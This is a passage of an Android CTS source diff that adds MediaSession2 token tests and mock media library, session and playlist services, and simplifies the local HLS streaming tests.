+        sHandler.removeCallbacksAndMessages(null);
+        mSession.close();
+    }
+
+    // TODO(jaewan): Make this host-side test to see per-user behavior.
+    @Ignore
+    @Test
+    public void testGetMediaSession2Tokens_hasMediaController() throws InterruptedException {
+        final MockPlayer player = (MockPlayer) mSession.getPlayer();
+        player.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_IDLE);
+
+        MediaController2 controller = null;
+        List<SessionToken2> tokens = mManager.getActiveSessionTokens();
+        assertNotNull(tokens);
+        for (int i = 0; i < tokens.size(); i++) {
+            SessionToken2 token = tokens.get(i);
+            if (mContext.getPackageName().equals(token.getPackageName())
+                    && TAG.equals(token.getId())) {
+                assertNull(controller);
+                controller = createController(token);
+            }
+        }
+        assertNotNull(controller);
+
+        // Test if the found controller is correct one.
+        assertEquals(MediaPlayerBase.PLAYER_STATE_IDLE, controller.getPlayerState());
+        controller.play();
+
+        assertTrue(player.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertTrue(player.mPlayCalled);
+    }
+
+    /**
+     * Test if server recognizes a session even if the session refuses the connection from server.
+     *
+     * @throws InterruptedException
+     */
+    @Test
+    public void testGetSessionTokens_sessionRejected() throws InterruptedException {
+        mSession.close();
+        mSession = new MediaSession2.Builder(mContext).setPlayer(new MockPlayer(0))
+                .setId(TAG).setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                    @Override
+                    public SessionCommandGroup2 onConnect(
+                            MediaSession2 session, ControllerInfo controller) {
+                        // Reject all connection request.
+                        return null;
+                    }
+                }).build();
+
+        boolean foundSession = false;
+        List<SessionToken2> tokens = mManager.getActiveSessionTokens();
+        assertNotNull(tokens);
+        for (int i = 0; i < tokens.size(); i++) {
+            SessionToken2 token = tokens.get(i);
+            if (mContext.getPackageName().equals(token.getPackageName())
+                    && TAG.equals(token.getId())) {
+                assertFalse(foundSession);
+                foundSession = true;
+            }
+        }
+        assertTrue(foundSession);
+    }
+
+    @Test
+    public void testGetMediaSession2Tokens_sessionClosed() throws InterruptedException {
+        mSession.close();
+
+        // When a session is closed, it should lose binder connection between server immediately.
+        // So server will forget the session.
+        List<SessionToken2> tokens = mManager.getActiveSessionTokens();
+        for (int i = 0; i < tokens.size(); i++) {
+            SessionToken2 token = tokens.get(i);
+            assertFalse(mContext.getPackageName().equals(token.getPackageName())
+                    && TAG.equals(token.getId()));
+        }
+    }
+
+    @Test
+    public void testGetMediaSessionService2Token() throws InterruptedException {
+        boolean foundTestSessionService = false;
+        boolean foundTestLibraryService = false;
+        List<SessionToken2> tokens = mManager.getSessionServiceTokens();
+        for (int i = 0; i < tokens.size(); i++) {
+            SessionToken2 token = tokens.get(i);
+            if (mContext.getPackageName().equals(token.getPackageName())
+                    && MockMediaSessionService2.ID.equals(token.getId())) {
+                assertFalse(foundTestSessionService);
+                assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+                foundTestSessionService = true;
+            } else if (mContext.getPackageName().equals(token.getPackageName())
+                    && MockMediaLibraryService2.ID.equals(token.getId())) {
+                assertFalse(foundTestLibraryService);
+                assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, token.getType());
+                foundTestLibraryService = true;
+            }
+        }
+        assertTrue(foundTestSessionService);
+        assertTrue(foundTestLibraryService);
+    }
+
+    @Test
+    public void testGetAllSessionTokens() throws InterruptedException {
+        boolean foundTestSession = false;
+        boolean foundTestSessionService = false;
+        boolean foundTestLibraryService = false;
+        List<SessionToken2> tokens = mManager.getAllSessionTokens();
+        for (int i = 0; i < tokens.size(); i++) {
+            SessionToken2 token = tokens.get(i);
+            if (!mContext.getPackageName().equals(token.getPackageName())) {
+                continue;
+            }
+            switch (token.getId()) {
+                case TAG:
+                    assertFalse(foundTestSession);
+                    foundTestSession = true;
+                    break;
+                case MockMediaSessionService2.ID:
+                    assertFalse(foundTestSessionService);
+                    foundTestSessionService = true;
+                    assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+                    break;
+                case MockMediaLibraryService2.ID:
+                    assertFalse(foundTestLibraryService);
+                    assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, token.getType());
+                    foundTestLibraryService = true;
+                    break;
+                default:
+                    fail("Unexpected session " + token + " exists in the package");
+            }
+        }
+        assertTrue(foundTestSession);
+        assertTrue(foundTestSessionService);
+        assertTrue(foundTestLibraryService);
+    }
+
+    @Test
+    public void testAddOnSessionTokensChangedListener() throws InterruptedException {
+        TokensChangedListener listener = new TokensChangedListener();
+        mManager.addOnSessionTokensChangedListener(sHandlerExecutor, listener);
+
+        listener.reset();
+        MediaSession2 session1 = new MediaSession2.Builder(mContext)
+                .setPlayer(new MockPlayer(0))
+                .setId(UUID.randomUUID().toString())
+                .build();
+        assertTrue(listener.await());
+        assertTrue(listener.findToken(session1.getToken()));
+
+        listener.reset();
+        session1.close();
+        assertTrue(listener.await());
+        assertFalse(listener.findToken(session1.getToken()));
+
+        listener.reset();
+        MediaSession2 session2 = new MediaSession2.Builder(mContext)
+                .setPlayer(new MockPlayer(0))
+                .setId(UUID.randomUUID().toString())
+                .build();
+        assertTrue(listener.await());
+        assertFalse(listener.findToken(session1.getToken()));
+        assertTrue(listener.findToken(session2.getToken()));
+
+        listener.reset();
+        MediaSession2 session3 = new MediaSession2.Builder(mContext)
+                .setPlayer(new MockPlayer(0))
+                .setId(UUID.randomUUID().toString())
+                .build();
+        assertTrue(listener.await());
+        assertFalse(listener.findToken(session1.getToken()));
+        assertTrue(listener.findToken(session2.getToken()));
+        assertTrue(listener.findToken(session3.getToken()));
+
+        listener.reset();
+        session2.close();
+        assertTrue(listener.await());
+        assertFalse(listener.findToken(session1.getToken()));
+        assertFalse(listener.findToken(session2.getToken()));
+        assertTrue(listener.findToken(session3.getToken()));
+
+        listener.reset();
+        session3.close();
+        assertTrue(listener.await());
+        assertFalse(listener.findToken(session1.getToken()));
+        assertFalse(listener.findToken(session2.getToken()));
+        assertFalse(listener.findToken(session3.getToken()));
+
+        mManager.removeOnSessionTokensChangedListener(listener);
+    }
+
+    @Test
+    public void testRemoveOnSessionTokensChangedListener() throws InterruptedException {
+        TokensChangedListener listener = new TokensChangedListener();
+        mManager.addOnSessionTokensChangedListener(sHandlerExecutor, listener);
+
+        listener.reset();
+        MediaSession2 session1 = new MediaSession2.Builder(mContext)
+                .setPlayer(new MockPlayer(0))
+                .setId(UUID.randomUUID().toString())
+                .build();
+        assertTrue(listener.await());
+
+        mManager.removeOnSessionTokensChangedListener(listener);
+
+        listener.reset();
+        session1.close();
+        assertFalse(listener.await());
+
+        listener.reset();
+        MediaSession2 session2 = new MediaSession2.Builder(mContext)
+                .setPlayer(new MockPlayer(0))
+                .setId(UUID.randomUUID().toString())
+                .build();
+        assertFalse(listener.await());
+
+        listener.reset();
+        MediaSession2 session3 = new MediaSession2.Builder(mContext)
+                .setPlayer(new MockPlayer(0))
+                .setId(UUID.randomUUID().toString())
+                .build();
+        assertFalse(listener.await());
+
+        listener.reset();
+        session2.close();
+        assertFalse(listener.await());
+
+        listener.reset();
+        session3.close();
+        assertFalse(listener.await());
+    }
+
+    private class TokensChangedListener implements OnSessionTokensChangedListener {
+        private CountDownLatch mLatch;
+        private List<SessionToken2> mTokens;
+
+        private void reset() {
+            mLatch = new CountDownLatch(1);
+            mTokens = null;
+        }
+
+        private boolean await() throws InterruptedException {
+            return mLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS);
+        }
+
+        private boolean findToken(SessionToken2 token) {
+            return mTokens.contains(token);
+        }
+
+        @Override
+        public void onSessionTokensChanged(List<SessionToken2> tokens) {
+            mTokens = tokens;
+            mLatch.countDown();
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MockMediaLibraryService2.java b/tests/tests/media/src/android/media/cts/MockMediaLibraryService2.java
new file mode 100644
index 0000000..4c4b3f6
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MockMediaLibraryService2.java
@@ -0,0 +1,236 @@
+/*
+* Copyright 2018 The Android Open Source Project
+*
+* Licensed under the Apache License, Version 2.0 (the "License");
+* you may not use this file except in compliance with the License.
+* You may obtain a copy of the License at
+*
+*      http://www.apache.org/licenses/LICENSE-2.0
+*
+* Unless required by applicable law or agreed to in writing, software
+* distributed under the License is distributed on an "AS IS" BASIS,
+* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+* See the License for the specific language governing permissions and
+* limitations under the License.
+*/
+
+package android.media.cts;
+
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;
+import android.media.DataSourceDesc;
+import android.media.MediaItem2;
+import android.media.MediaLibraryService2;
+import android.media.MediaMetadata2;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaLibraryService2.MediaLibrarySession.MediaLibrarySessionCallback;
+import android.media.SessionToken2;
+import android.media.cts.TestUtils.SyncHandler;
+import android.os.Bundle;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import android.util.Log;
+
+import java.io.FileDescriptor;
+import java.util.ArrayList;
+import java.util.List;
+
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.concurrent.GuardedBy;
+
+/**
+ * Mock implementation of {@link MediaLibraryService2} for testing.
+ */
+public class MockMediaLibraryService2 extends MediaLibraryService2 {
+    // Keep in sync with the AndroidManifest.xml
+    public static final String ID = "TestLibrary";
+
+    public static final String ROOT_ID = "rootId";
+    public static final Bundle EXTRAS = new Bundle();
+
+    public static final String MEDIA_ID_GET_ITEM = "media_id_get_item";
+
+    public static final String PARENT_ID = "parent_id";
+    public static final String PARENT_ID_NO_CHILDREN = "parent_id_no_children";
+    public static final String PARENT_ID_ERROR = "parent_id_error";
+
+    public static final List<MediaItem2> GET_CHILDREN_RESULT = new ArrayList<>();
+    public static final int CHILDREN_COUNT = 100;
+
+    public static final String SEARCH_QUERY = "search_query";
+    public static final String SEARCH_QUERY_TAKES_TIME = "search_query_takes_time";
+    public static final int SEARCH_TIME_IN_MS = 5000;
+    public static final String SEARCH_QUERY_EMPTY_RESULT = "search_query_empty_result";
+
+    public static final List<MediaItem2> SEARCH_RESULT = new ArrayList<>();
+    public static final int SEARCH_RESULT_COUNT = 50;
+
+    private static final DataSourceDesc DATA_SOURCE_DESC =
+            new DataSourceDesc.Builder().setDataSource(new FileDescriptor()).build();
+
+    private static final String TAG = "MockMediaLibrarySvc2";
+
+    static {
+        EXTRAS.putString(ROOT_ID, ROOT_ID);
+    }
+    @GuardedBy("MockMediaLibraryService2.class")
+    private static SessionToken2 sToken;
+
+    private MediaLibrarySession mSession;
+
+    public MockMediaLibraryService2() {
+        super();
+        GET_CHILDREN_RESULT.clear();
+        String getChildrenMediaIdPrefix = "get_children_media_id_";
+        for (int i = 0; i < CHILDREN_COUNT; i++) {
+            GET_CHILDREN_RESULT.add(createMediaItem(getChildrenMediaIdPrefix + i));
+        }
+
+        SEARCH_RESULT.clear();
+        String getSearchResultMediaIdPrefix = "get_search_result_media_id_";
+        for (int i = 0; i < SEARCH_RESULT_COUNT; i++) {
+            SEARCH_RESULT.add(createMediaItem(getSearchResultMediaIdPrefix + i));
+        }
+    }
+
+    @Override
+    public void onCreate() {
+        TestServiceRegistry.getInstance().setServiceInstance(this);
+        super.onCreate();
+    }
+
+    @Override
+    public MediaLibrarySession onCreateSession(String sessionId) {
+        final MockPlayer player = new MockPlayer(1);
+        final SyncHandler handler = (SyncHandler) TestServiceRegistry.getInstance().getHandler();
+        final Executor executor = (runnable) -> handler.post(runnable);
+        MediaLibrarySessionCallback librarySessionCallback = (MediaLibrarySessionCallback)
+                TestServiceRegistry.getInstance().getSessionCallback();
+        if (librarySessionCallback == null) {
+            // Use default callback
+            librarySessionCallback = new TestLibrarySessionCallback();
+        }
+        mSession = new MediaLibrarySession.Builder(MockMediaLibraryService2.this, executor,
+                librarySessionCallback).setPlayer(player).setId(sessionId).build();
+        return mSession;
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        TestServiceRegistry.getInstance().cleanUp();
+    }
+
+    public static SessionToken2 getToken(Context context) {
+        synchronized (MockMediaLibraryService2.class) {
+            if (sToken == null) {
+                sToken = new SessionToken2(context, context.getPackageName(),
+                        MockMediaLibraryService2.class.getName());
+                assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, sToken.getType());
+            }
+            return sToken;
+        }
+    }
+
+    private class TestLibrarySessionCallback extends MediaLibrarySessionCallback {
+        @Override
+        public LibraryRoot onGetLibraryRoot(MediaLibrarySession session, ControllerInfo controller,
+                Bundle rootHints) {
+            return new LibraryRoot(ROOT_ID, EXTRAS);
+        }
+
+        @Override
+        public MediaItem2 onGetItem(MediaLibrarySession session, ControllerInfo controller,
+                String mediaId) {
+            if (MEDIA_ID_GET_ITEM.equals(mediaId)) {
+                return createMediaItem(mediaId);
+            } else {
+                return null;
+            }
+        }
+
+        @Override
+        public List<MediaItem2> onGetChildren(MediaLibrarySession session,
+                ControllerInfo controller, String parentId, int page, int pageSize, Bundle extras) {
+            if (PARENT_ID.equals(parentId)) {
+                return getPaginatedResult(GET_CHILDREN_RESULT, page, pageSize);
+            } else if (PARENT_ID_ERROR.equals(parentId)) {
+                return null;
+            }
+            // Includes the case of PARENT_ID_NO_CHILDREN.
+            return new ArrayList<>();
+        }
+
+        @Override
+        public void onSearch(MediaLibrarySession session, ControllerInfo controllerInfo,
+                String query, Bundle extras) {
+            if (SEARCH_QUERY.equals(query)) {
+                mSession.notifySearchResultChanged(controllerInfo, query, SEARCH_RESULT_COUNT,
+                        extras);
+            } else if (SEARCH_QUERY_TAKES_TIME.equals(query)) {
+                // Searching takes some time. Notify after 5 seconds.
+                Executors.newSingleThreadScheduledExecutor().schedule(new Runnable() {
+                    @Override
+                    public void run() {
+                        mSession.notifySearchResultChanged(
+                                controllerInfo, query, SEARCH_RESULT_COUNT, extras);
+                    }
+                }, SEARCH_TIME_IN_MS, TimeUnit.MILLISECONDS);
+            } else if (SEARCH_QUERY_EMPTY_RESULT.equals(query)) {
+                mSession.notifySearchResultChanged(controllerInfo, query, 0, extras);
+            } else {
+                // TODO: For the error case, how should we notify the browser?
+            }
+        }
+
+        @Override
+        public List<MediaItem2> onGetSearchResult(MediaLibrarySession session,
+                ControllerInfo controllerInfo, String query, int page, int pageSize,
+                Bundle extras) {
+            if (SEARCH_QUERY.equals(query)) {
+                return getPaginatedResult(SEARCH_RESULT, page, pageSize);
+            } else {
+                return null;
+            }
+        }
+    }
+
+    private List<MediaItem2> getPaginatedResult(List<MediaItem2> items, int page, int pageSize) {
+        if (items == null) {
+            return null;
+        } else if (items.size() == 0) {
+            return new ArrayList<>();
+        }
+
+        final int totalItemCount = items.size();
+        int fromIndex = (page - 1) * pageSize;
+        int toIndex = Math.min(page * pageSize, totalItemCount);
+
+        List<MediaItem2> paginatedResult = new ArrayList<>();
+        try {
+            // The case of (fromIndex >= totalItemCount) will throw exception below.
+            paginatedResult = items.subList(fromIndex, toIndex);
+        } catch (IndexOutOfBoundsException | IllegalArgumentException ex) {
+            Log.d(TAG, "Result is empty for given pagination arguments: totalItemCount="
+                    + totalItemCount + ", page=" + page + ", pageSize=" + pageSize, ex);
+        }
+        return paginatedResult;
+    }
+
+    private MediaItem2 createMediaItem(String mediaId) {
+        Context context = MockMediaLibraryService2.this;
+        return new MediaItem2.Builder(0 /* Flags */)
+                .setMediaId(mediaId)
+                .setDataSourceDesc(DATA_SOURCE_DESC)
+                .setMetadata(new MediaMetadata2.Builder()
+                                .putString(MediaMetadata2.METADATA_KEY_MEDIA_ID, mediaId)
+                                .build())
+                .build();
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MockMediaSessionService2.java b/tests/tests/media/src/android/media/cts/MockMediaSessionService2.java
new file mode 100644
index 0000000..330637e
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MockMediaSessionService2.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.Context;
+import android.media.MediaSession2;
+import android.media.MediaSession2.SessionCallback;
+import android.media.MediaSessionService2;
+import android.media.cts.TestUtils.SyncHandler;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.concurrent.Executor;
+
+/**
+ * Mock implementation of {@link MediaSessionService2} for testing.
+ */
+public class MockMediaSessionService2 extends MediaSessionService2 {
+    // Keep in sync with the AndroidManifest.xml
+    public static final String ID = "TestSession";
+
+    private static final String DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID = "media_session_service";
+    private static final int DEFAULT_MEDIA_NOTIFICATION_ID = 1001;
+
+    private NotificationChannel mDefaultNotificationChannel;
+    private MediaSession2 mSession;
+    private NotificationManager mNotificationManager;
+
+    @Override
+    public void onCreate() {
+        TestServiceRegistry.getInstance().setServiceInstance(this);
+        super.onCreate();
+        mNotificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+    }
+
+    @Override
+    public MediaSession2 onCreateSession(String sessionId) {
+        final MockPlayer player = new MockPlayer(1);
+        final SyncHandler handler = (SyncHandler) TestServiceRegistry.getInstance().getHandler();
+        final Executor executor = (runnable) -> handler.post(runnable);
+        SessionCallback sessionCallback = TestServiceRegistry.getInstance().getSessionCallback();
+        if (sessionCallback == null) {
+            // Ensures non-null
+            sessionCallback = new SessionCallback() {};
+        }
+        mSession = new MediaSession2.Builder(this)
+                .setPlayer(player)
+                .setSessionCallback(executor, sessionCallback)
+                .setId(sessionId).build();
+        return mSession;
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        TestServiceRegistry.getInstance().cleanUp();
+    }
+
+    @Override
+    public MediaNotification onUpdateNotification() {
+        if (mDefaultNotificationChannel == null) {
+            mDefaultNotificationChannel = new NotificationChannel(
+                    DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID,
+                    DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID,
+                    NotificationManager.IMPORTANCE_DEFAULT);
+            mNotificationManager.createNotificationChannel(mDefaultNotificationChannel);
+        }
+        Notification notification = new Notification.Builder(
+                this, DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID)
+                .setContentTitle(getPackageName())
+                .setContentText("Dummt test notification")
+                .setSmallIcon(android.R.drawable.sym_def_app_icon).build();
+        return new MediaNotification(DEFAULT_MEDIA_NOTIFICATION_ID, notification);
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MockPlaylistAgent.java b/tests/tests/media/src/android/media/cts/MockPlaylistAgent.java
new file mode 100644
index 0000000..ca7bc92
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MockPlaylistAgent.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaPlaylistAgent;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * A mock implementation of {@link MediaPlaylistAgent} for testing.
+ * <p>
+ * Do not use mockito for {@link MediaPlaylistAgent}. Instead, use this.
+ * Mocks created from mockito should not be shared across different threads.
+ */
+public class MockPlaylistAgent extends MediaPlaylistAgent {
+    public final CountDownLatch mCountDownLatch = new CountDownLatch(1);
+
+    public List<MediaItem2> mPlaylist;
+    public MediaMetadata2 mMetadata;
+    public MediaItem2 mItem;
+    public int mIndex = -1;
+    public @RepeatMode int mRepeatMode = -1;
+    public @ShuffleMode int mShuffleMode = -1;
+
+    public boolean mSetPlaylistCalled;
+    public boolean mUpdatePlaylistMetadataCalled;
+    public boolean mAddPlaylistItemCalled;
+    public boolean mRemovePlaylistItemCalled;
+    public boolean mReplacePlaylistItemCalled;
+    public boolean mSkipToPlaylistItemCalled;
+    public boolean mSkipToPreviousItemCalled;
+    public boolean mSkipToNextItemCalled;
+    public boolean mSetRepeatModeCalled;
+    public boolean mSetShuffleModeCalled;
+
+    @Override
+    public List<MediaItem2> getPlaylist() {
+        return mPlaylist;
+    }
+
+    @Override
+    public void setPlaylist(List<MediaItem2> list, MediaMetadata2 metadata) {
+        mSetPlaylistCalled = true;
+        mPlaylist = list;
+        mMetadata = metadata;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public MediaMetadata2 getPlaylistMetadata() {
+        return mMetadata;
+    }
+
+    @Override
+    public void updatePlaylistMetadata(MediaMetadata2 metadata) {
+        mUpdatePlaylistMetadataCalled = true;
+        mMetadata = metadata;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public void addPlaylistItem(int index, MediaItem2 item) {
+        mAddPlaylistItemCalled = true;
+        mIndex = index;
+        mItem = item;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public void removePlaylistItem(MediaItem2 item) {
+        mRemovePlaylistItemCalled = true;
+        mItem = item;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public void replacePlaylistItem(int index, MediaItem2 item) {
+        mReplacePlaylistItemCalled = true;
+        mIndex = index;
+        mItem = item;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public void skipToPlaylistItem(MediaItem2 item) {
+        mSkipToPlaylistItemCalled = true;
+        mItem = item;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public void skipToPreviousItem() {
+        mSkipToPreviousItemCalled = true;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public void skipToNextItem() {
+        mSkipToNextItemCalled = true;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public int getRepeatMode() {
+        return mRepeatMode;
+    }
+
+    @Override
+    public void setRepeatMode(int repeatMode) {
+        mSetRepeatModeCalled = true;
+        mRepeatMode = repeatMode;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public int getShuffleMode() {
+        return mShuffleMode;
+    }
+
+    @Override
+    public void setShuffleMode(int shuffleMode) {
+        mSetShuffleModeCalled = true;
+        mShuffleMode = shuffleMode;
+        mCountDownLatch.countDown();
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/SessionToken2Test.java b/tests/tests/media/src/android/media/cts/SessionToken2Test.java
new file mode 100644
index 0000000..a930698
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/SessionToken2Test.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertEquals;
+
+import android.content.Context;
+import android.media.SessionToken2;
+import android.os.Process;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests {@link SessionToken2}.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class SessionToken2Test {
+    private Context mContext;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    @Test
+    public void testConstructor_sessionService() {
+        SessionToken2 token = new SessionToken2(mContext, mContext.getPackageName(),
+                MockMediaSessionService2.class.getCanonicalName());
+        assertEquals(MockMediaSessionService2.ID, token.getId());
+        assertEquals(mContext.getPackageName(), token.getPackageName());
+        assertEquals(Process.myUid(), token.getUid());
+        assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+    }
+
+    @Test
+    public void testConstructor_libraryService() {
+        SessionToken2 token = new SessionToken2(mContext, mContext.getPackageName(),
+                MockMediaLibraryService2.class.getCanonicalName());
+        assertEquals(MockMediaLibraryService2.ID, token.getId());
+        assertEquals(mContext.getPackageName(), token.getPackageName());
+        assertEquals(Process.myUid(), token.getUid());
+        assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, token.getType());
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
index 60a92b1..0bbddf4 100644
--- a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
@@ -188,8 +188,7 @@
 
         // Play stream for 60 seconds
         // limit rate to workaround multiplication overflow in framework
-        final boolean isAudioOnly = false;
-        localHlsTest("hls_variant/index.m3u8", 60 * 1000, LOCAL_HLS_BITS_PER_MS, isAudioOnly);
+        localHlsTest("hls_variant/index.m3u8", 60 * 1000, LOCAL_HLS_BITS_PER_MS);
     }
 
     public void testHlsWithHeadersCookies() throws Exception {
@@ -217,8 +216,7 @@
 
         // Play stream for 60 seconds
         // limit rate to workaround multiplication overflow in framework
-        final boolean isAudioOnly = false;
-        localHlsTest("hls_variant/index.m3u8", 60 * 1000, LOCAL_HLS_BITS_PER_MS, isAudioOnly);
+        localHlsTest("hls_variant/index.m3u8", 60 * 1000, LOCAL_HLS_BITS_PER_MS);
     }
 
     public void testHlsSampleAes_bbb_audio_only_overridable() throws Exception {
@@ -231,7 +229,7 @@
             // if url override provided
             playLiveAudioOnlyTest(mInputUrl, 60 * 1000);
         } else {
-            localHlsTest("audio_only/index.m3u8", 60 * 1000, -1, true /*isAudioOnly*/);
+            localHlsTest("audio_only/index.m3u8", 60 * 1000, -1);
         }
 
     }
@@ -241,15 +239,8 @@
             return; // skip
         }
 
-        MediaFormat format = MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 1920, 1080);
-        String[] decoderNames = MediaUtils.getDecoderNames(false, format);
-
-        if (decoderNames.length == 0) {
-            MediaUtils.skipTest("No decoders for " + format);
-        } else {
-            // Play stream for 60 seconds
-            localHlsTest("unmuxed_1500k/index.m3u8", 60 * 1000, -1, false /*isAudioOnly*/);
-        }
+        // Play stream for 60 seconds
+        localHlsTest("unmuxed_1500k/index.m3u8", 60 * 1000, -1);
     }
 
 
@@ -464,21 +455,21 @@
         if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
             return; // skip
         }
-        localHlsTest("hls.m3u8", false, false, false /*isAudioOnly*/);
+        localHlsTest("hls.m3u8", false, false);
     }
 
     public void testPlayHlsStreamWithQueryString() throws Throwable {
         if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
             return; // skip
         }
-        localHlsTest("hls.m3u8", true, false, false /*isAudioOnly*/);
+        localHlsTest("hls.m3u8", true, false);
     }
 
     public void testPlayHlsStreamWithRedirect() throws Throwable {
         if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
             return; // skip
         }
-        localHlsTest("hls.m3u8", false, true, false /*isAudioOnly*/);
+        localHlsTest("hls.m3u8", false, true);
     }
 
     public void testPlayHlsStreamWithTimedId3() throws Throwable {
@@ -661,19 +652,19 @@
         worker.quit();
     }
 
-    private void localHlsTest(final String name, boolean appendQueryString,
-            boolean redirect, boolean isAudioOnly) throws Exception {
-        localHlsTest(name, null, null, appendQueryString, redirect, 10, -1, isAudioOnly);
+    private void localHlsTest(final String name, boolean appendQueryString, boolean redirect)
+            throws Exception {
+        localHlsTest(name, null, null, appendQueryString, redirect, 10, -1);
     }
 
-    private void localHlsTest(final String name, int playTime, int bitsPerMs, boolean isAudioOnly)
+    private void localHlsTest(final String name, int playTime, int bitsPerMs)
             throws Exception {
-        localHlsTest(name, null, null, false, false, playTime, bitsPerMs, isAudioOnly);
+        localHlsTest(name, null, null, false, false, playTime, bitsPerMs);
     }
 
     private void localHlsTest(String name, Map<String, String> headers, List<HttpCookie> cookies,
-            boolean appendQueryString, boolean redirect, int playTime, int bitsPerMs,
-            boolean isAudioOnly) throws Exception {
+            boolean appendQueryString, boolean redirect, int playTime, int bitsPerMs)
+            throws Exception {
         if (bitsPerMs >= 0) {
             mServer = new CtsTestServer(mContext) {
                 @Override
@@ -694,11 +685,8 @@
             if (appendQueryString) {
                 stream_url += "?foo=bar/baz";
             }
-            if (isAudioOnly) {
-                playLiveAudioOnlyTest(Uri.parse(stream_url), headers, cookies, playTime);
-            } else {
-                playLiveVideoTest(Uri.parse(stream_url), headers, cookies, playTime);
-            }
+
+            playLiveVideoTest(Uri.parse(stream_url), headers, cookies, playTime);
         } finally {
             mServer.shutdown();
